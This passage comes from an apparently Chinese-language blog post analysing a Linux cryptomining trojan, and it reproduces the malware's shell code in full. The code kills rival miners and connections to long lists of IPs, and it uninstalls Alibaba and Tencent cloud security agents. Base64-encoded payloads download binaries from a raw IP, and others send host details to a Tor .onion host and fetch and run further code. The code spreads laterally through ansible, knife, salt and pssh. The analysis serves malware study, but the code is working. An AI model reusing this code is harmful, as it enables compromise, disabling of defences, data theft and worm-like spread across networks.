117|168.235.88.209|161.97.140.214|193.23.250.136|95.216.46.125|95.181.179.88|104.244.78.33|15.228.36.177|203.107.32.162|194.38.20.199\"<\/span>|awk <span class=\"o\">{<\/span><span class=\"s1\">'print $NF'<\/span><span class=\"o\">}<\/span> |cut <span class=\"nt\">-d<\/span>\/ <span class=\"nt\">-f1<\/span>|xargs <span class=\"nb\">kill<\/span> <span class=\"nt\">-9<\/span>\npkill <span class=\"nt\">-9<\/span> <span class=\"nt\">-f<\/span> <span class=\"s2\">\"kthreaddi|defunct|.\/cron|.\/oka|<\/span><span class=\"se\">\\-<\/span><span class=\"s2\">unix|\/tmp\/ddgs|\/tmp\/idk|\/tmp\/java|\/tmp\/keep|\/tmp\/udevs|\/tmp\/udk|\/tmp\/update.sh|\/tmp\/yarn|\/usr\/bin\/netfs|8220|AliHids|AliSecGuard|AliYunDun|descargars|Donald|HT8s|Jonason|steasec|salt-store|salt-minion|SzdXM|X13-unix|X17-unix|<\/span><span class=\"se\">\\[<\/span><span class=\"s2\">stea<\/span><span class=\"se\">\\]<\/span><span class=\"s2\">|aegis_|AliYunDun|AliHids|AliHips|AliYunDunUpdate|aliyun-service|azipl|bash64|bigd1ck|cr.sh|crloger|cronds|crun|cryptonight|curn|currn|ddgs|dhcleint|fs-manager|gf128mul|havegeds|httpdz|irqbalanced|JavaUpdate|system-python3.8-Updates|java-c|kaudited|kdevtmpfsi|kerberods|khugepageds|kinsing|kintegrityds|kpsmouseds|swapd0|kswaped|knthread|kthreadds|kthrotlds|kw0|kworkerds|kworkre|kwroker|liog|lsof|lopata|Macron|mewrs|migrations|miner|mmm|mr.sh|muhsti|mygit|netdns|networkservice|orgfs|pamdicks|pastebin|postgresq1|qW3xT|qwefdas|rctlcli|sleep|stratum|sustes|sustse|sysguard|sysguerd|systeamd|systemd-network|sysupdate|sysupdata|t00ls|thisxxs|Trump|update.sh|vTtHH|watchbog|watchbug|watchog|wipefs|wnTKYg|x3Wq|xig|xmr|zer0|zsvc|pdefenderd|smcard2|rcu_sched\"<\/span>\nps x |grep <span class=\"nt\">-v<\/span> <span class=\"nb\">grep<\/span>|grep <span class=\"nt\">-E<\/span> <span class=\"s2\">\"kthreaddi|defunct|kinsing|kdevtmpfs|.\/oka|zsvc|pdefenderd|smcard2|swapd0|rcu_sched|AliSecGuard|AliYunDunUpdate|AliYunDun|aliyun-service|assist_daemon\"<\/span>|awk <span class=\"s1\">'{print $1}'<\/span> |xargs <span class=\"nt\">-I<\/span> % <span class=\"nb\">kill<\/span> <span class=\"nt\">-9<\/span> %\nss <span class=\"nt\">-antp<\/span> |grep <span class=\"nt\">-E<\/span> <span class=\"s2\">\"82.114.253.13|14.17.70.144|3.125.10.23|103.53.210.34|45.64.130.147|34.252.195.254|kinsing|kdevtmpfsi|103.3.62.64|104.140.201.42|104.140.244.186|107.178.104.10|107.191.99.221|107.191.99.95|116.203.73.240|131.153.56.98|131.153.76.130|136.243.102.154|138.201.20.89|138.201.27.243|138.201.36.249|139.162.132.70|139.162.60.220|139.162.81.90|139.99.101.197|139.99.101.198|139.99.101.232|139.99.102.70|139.99.102.71|139.99.102.72|139.99.102.73|139.99.102.74|139.99.120.50|139.99.120.75|139.99.123.196|139.99.124.170|139.99.125.38|139.99.156.30|139.99.68.128|142.44.242.100|142.44.243.6|144.217.14.109|144.217.14.139|147.135.37.31|149.202.42.174|149.202.83.171|15.236.100.141|151.80.144.188|158.69.25.62|158.69.25.71|158.69.25.77|163.172.203.178|163.172.206.67|163.172.207.69|163.172.226.114|163.172.226.137|172.104.143.224|172.104.151.232|172.104.159.158|172.104.165.191|172.104.247.21|172.104.76.21|172.105.205.58|172.105.205.68|172.105.210.117|172.105.211.250|172.105.235.97|178.63.100.197|18.180.72.219|18.210.126.40|192.110.160.114|192.99.69.170|195.154.62.247|195.201.12.107|199.231.85.124|207.246.100.198|213.32.29.143|213.32.74.157|217.182.169.148|23.88.160.140|3.0.193.200|37.187.95.110|37.59.43.131|37.59.44.193|37.59.44.93|37.59.54.205|37.59.55.60|37.9.3.26|45.32.71.82|45.76.65.223|45.79.192.137|45.79.200.97|45.79.204.241|45.79.210.48|46.4.120.18|47.101.30.124|5.196.13.29|5.196.23.240|51.15.54.102|51.15.55.100|51.15.55.162|51.15.58.224|51.15.65.182|51.15.67.17|51.15.69.136|51.15.78.68|51.255.34.118|51.255.34.79|51.255.34.80|51.81.245.40|54.188.223.206|54.37.7.208|66.42.105.146|78.46.49.222|78.46.87.181|81.25.55.79|81.91.189.245|88.99.142.163|88.99.193.240|88.99.242.92|91.121.140.167|94.130.12.27|94.130.12.30|94.130.143.162|94.130.165.85|94.130.165.87|94.130.239.15|94.23.23.52|94.23.247.226|95.216.209.67|205.185.118.204|63.250.33.43|185.199.11|139.99.121.227|199.192.30.2|185.156.179.225|45.129.2.107|194.87.102.77|172.83.155.151|185.165.171.78|70.39.125.244|205.185.118.204|54.37.7.208|209.141.38.71|150.107.76.231|107.167.7.226|194.40.243.61|195.3.146.118|20.53.100.173|20.62.240.187|94.130.164.163|45.9.148.117|168.235.88.209|161.97.140.214|193.23.250.136|95.216.46.125|95.181.179.88|104.244.78.33|15.228.36.177|203.107.32.162|194.38.20.199\"<\/span> |awk <span class=\"nt\">-F<\/span>, <span class=\"o\">{<\/span><span class=\"s1\">'print $(NF-1)'<\/span><span class=\"o\">}<\/span>|sed <span class=\"s1\">'s\/pid=\/\/g'<\/span> |xargs <span class=\"nb\">kill<\/span> <span class=\"nt\">-9<\/span> \n<span class=\"nb\">rm<\/span> <span class=\"nt\">-f<\/span> <span class=\"nv\">$HOME<\/span>\/.<span class=\"o\">{<\/span>Evie0EAJrdlD6N9,tEYYDFeOnouIdvpQ,vPUjpEzwu4WUekGs,systemd-service<span class=\"o\">}<\/span>.sh\n<span class=\"nb\">rm<\/span> <span class=\"nt\">-f<\/span> \/opt\/.<span class=\"o\">{<\/span>Evie0EAJrdlD6N9,tEYYDFeOnouIdvpQ,vPUjpEzwu4WUekGs,systemd-service<span class=\"o\">}<\/span>.sh\nps ax <span class=\"nt\">-o<\/span> <span class=\"s2\">\"pid %cpu cmd\"<\/span>|grep bash|awk <span class=\"s1\">'{if($2&gt;=20.0) print $1}'<\/span>|xargs <span class=\"nb\">kill<\/span> <span class=\"nt\">-9<\/span>\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u4e0a\u9762\u8fd9\u4e2a\u811a\u672c\uff0c\u6211\u4e00\u76f4\u6ca1\u6709\u770b\u592a\u61c2\u60f3\u5e72\u561b\uff0c\u770b\u8d77\u6765\u50cf\u662f\u5728\u6e05\u7406\u75d5\u8ff9\uff0c\u707e\u540e\u91cd\u5efa\uff0c\u53c8\u50cf\u662f\u5728\u6e05\u7406\u7ade\u4e89\u5bf9\u624b\u7684\u6316\u77ff\u6728\u9a6c\uff0c\u6211\u6ca1\u770b\u61c2\u4ed6\u60f3\u5e72\u561b\uff0c\u5148\u8df3\u8fc7\u5427\u3002<\/p>\n\n<p>\u8fd8\u6709\u4e00\u6bb5\u6bd4\u8f83\u6709\u8da3\u7684\u811a\u672c\u3002\u8fd9\u770b\u8d77\u6765\u5e94\u8be5\u5c31\u662f\u548c\u524d\u9762 zscaler \u63d0\u5230\u7684\u6a2a\u5411\u79fb\u52a8\u7684\u529f\u80fd\u4e86\u3002<\/p>\n\n<div class=\"language-bash highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n44\n45\n46\n47\n48\n49\n50\n51\n52\n53\n54\n55\n56\n57\n58\n59\n60\n61\n62\n63\n64\n65\n66\n67\n68\n69\n70\n<\/pre><\/td><td class=\"rouge-code\"><pre>nU9WagjQ8BenWPXt0ovE12uD8jBItv6\n<span class=\"nb\">exec<\/span> &amp;&gt;\/dev\/null\n<span class=\"nb\">export <\/span><span class=\"nv\">PATH<\/span><span class=\"o\">=<\/span><span class=\"nv\">$PATH<\/span>:<span class=\"nv\">$HOME<\/span>:\/bin:\/sbin:\/usr\/bin:\/usr\/sbin:\/usr\/local\/bin:\/usr\/local\/sbin\n\n<span class=\"nv\">d<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nb\">grep <\/span>x:<span class=\"si\">$(<\/span><span class=\"nb\">id<\/span> <span class=\"nt\">-u<\/span><span class=\"si\">)<\/span>: \/etc\/passwd|cut <span class=\"nt\">-d<\/span>: <span class=\"nt\">-f6<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">c<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">\"curl -4fsSLkA- -m200\"<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">t<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">\"5ixhieezozxwnvisopgxoba6ssbsrvdpxeduxb4jc6zx7s56rufrjzad\"<\/span><span class=\"si\">)<\/span>\n\nsockz<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\n<span class=\"nv\">n<\/span><span class=\"o\">=(<\/span>doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com <span class=\"k\">fi<\/span>.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch<span class=\"o\">)<\/span>\n<span class=\"nv\">p<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">\"dns-query?name=relay.tor2socks.in\"<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">s<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nv\">$c<\/span> https:\/\/<span class=\"k\">${<\/span><span class=\"nv\">n<\/span><span class=\"p\">[<\/span><span class=\"k\">$((<\/span>RANDOM%11<span class=\"k\">))<\/span><span class=\"p\">]<\/span><span class=\"k\">}<\/span>\/<span class=\"nv\">$p<\/span> | <span class=\"nb\">grep<\/span> <span class=\"nt\">-oE<\/span> <span class=\"s2\">\"<\/span><span class=\"se\">\\b<\/span><span class=\"s2\">([0-9]{1,3}<\/span><span class=\"se\">\\.<\/span><span class=\"s2\">){3}[0-9]{1,3}<\/span><span class=\"se\">\\b<\/span><span class=\"s2\">\"<\/span> |tr <span class=\"s1\">' '<\/span> <span class=\"s1\">'\\n'<\/span>|grep <span class=\"nt\">-Ev<\/span> <span class=\"o\">[<\/span>.]0|sort <span class=\"nt\">-uR<\/span>|head <span class=\"nt\">-n<\/span> 1<span class=\"si\">)<\/span>\n<span class=\"o\">}<\/span>\n\nfexe<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\n<span class=\"k\">for <\/span>i <span class=\"k\">in<\/span> <span class=\"nb\">.<\/span> <span class=\"nv\">$HOME<\/span> \/usr\/bin <span class=\"nv\">$d<\/span> \/tmp \/var\/tmp <span class=\"p\">;<\/span><span class=\"k\">do <\/span><span class=\"nb\">echo exit<\/span> <span class=\"o\">&gt;<\/span> <span class=\"nv\">$i<\/span>\/i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$i<\/span>\/i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">cd<\/span> <span class=\"nv\">$i<\/span> <span class=\"o\">&amp;&amp;<\/span> .\/i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">rm<\/span> <span class=\"nt\">-f<\/span> i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">break<\/span><span class=\"p\">;<\/span><span class=\"k\">done<\/span>\n<span class=\"o\">}<\/span>\n\nisys<span class=\"o\">()<\/span> <span class=\"o\">{<\/span> \n<span class=\"nb\">echo <\/span>ZnVuY3Rpb24ga3VybCgpIHsKICByZWFkIHByb3RvIHNlcnZlciBwYXRoIDw8PCQoZWNobyAkezEvLy8vIH0pCiAgRE9DPS8ke3BhdGgvLyAvL30KICBIT1NUPSR7c2VydmVyLy86Kn0KICBQT1JUPSR7c2VydmVyLy8qOnKICBbWyB4IiR7SE9TVH0iID09IHgiJHtQT1JUfSIgXV0gJiYgUE9SVD04MAoKICBleGVjIDM8Pi9kZXYvdGNwLyR7SE9TVH0vJFBPUlQKICBlY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwogICh3aGlsZSByZWFkIGxpbmU7IGRvCiAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKICBkb25lICYmIGNhdCkgPCYzCiAgZXhlYyAzPiYtCn0KCnJtIC1mICRIT01FL3NzCmN1cmwgLVYgfHwgd2dldCAtcSBodHRwczovL2dpdGh1Yi5jb20vbW9wYXJpc3RoZWJlc3Qvc3RhdGljLWN1cmwvcmVsZWFzZXMvZG93bmxvYWQvdjcuNzUuMC9jdXJsLWFtZDY0IC1PICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApjdXJsIC1WIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvY3VybCA+ICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApzcyAtdiAgIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvc3MgICA+ICRIT01FL3NzO2NobW9kICt4ICRIT01FL3NzCnNzIC12ICAgfHwgY3VybCAtcyBodHRwOi8vMTM5LjU5LjE1MC43OjQ0My9zcyAtbyAkSE9NRS9zcztjaG1vZCAreCAkSE9NRS9zcwpwcyAgICAgIHx8IGN1cmwgLXMgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvcHMgLW8gJEhPTUUvcHM7Y2htb2QgK3ggJEhPTUUvcHMK|base64 <span class=\"nt\">-d<\/span>|bash\ncrontab <span class=\"nt\">-l<\/span> <span class=\"o\">||<\/span> yum <span class=\"nt\">-y<\/span> <span class=\"nb\">install <\/span>cron\ncrontab <span class=\"nt\">-l<\/span> <span class=\"o\">||<\/span> yum <span class=\"nt\">-y<\/span> <span class=\"nb\">install <\/span>cronie\ncrontab <span class=\"nt\">-l<\/span> <span class=\"o\">||<\/span> apt-get update <span class=\"o\">&amp;&amp;<\/span> apt-get <span class=\"nt\">-y<\/span> <span class=\"nb\">install <\/span>cron\n\/usr\/local\/share\/assist-daemon\/assist_daemon <span class=\"nt\">--stop<\/span>\n\/usr\/local\/share\/assist-daemon\/assist_daemon <span class=\"nt\">--delete<\/span>\n\/usr\/local\/qcloud\/monitor\/barad\/admin\/uninstall.sh\n\/usr\/local\/qcloud\/stargate\/admin\/uninstall.sh\n\/usr\/local\/qcloud\/YunJing\/uninst.sh\n\/etc\/init.d\/aegis uninstall\nsystemctl stop aliyun\nsystemctl disable aliyun\nsystemctl start cron\nsystemctl <span class=\"nb\">enable <\/span>cron\nsystemctl start crond\nsystemctl <span class=\"nb\">enable <\/span>crond\n<span class=\"nb\">rm<\/span> <span class=\"nt\">-rf<\/span> \/usr\/loca\/qcloud\/ \/usr\/local\/aegis\/ \/usr\/local\/share\/assist-daemon\/ \/usr\/local\/share\/aliyun-assist\/ \/usr\/sbin\/aliyun-service \/usr\/sbin\/aliyun_installer \/etc\/systemd\/system\/aliyun.service\n<span class=\"o\">}<\/span>\n\nissh<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\nansible all <span class=\"nt\">-m<\/span> shell <span class=\"nt\">-a<\/span> <span class=\"s1\">'echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash'<\/span>\nknife ssh <span class=\"s1\">'name:*'<\/span> <span class=\"s1\">'echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash'<\/span>\nsalt <span class=\"s1\">'*'<\/span> cmd.run <span class=\"s1\">'echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash'<\/span>\npssh <span class=\"s1\">'echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yM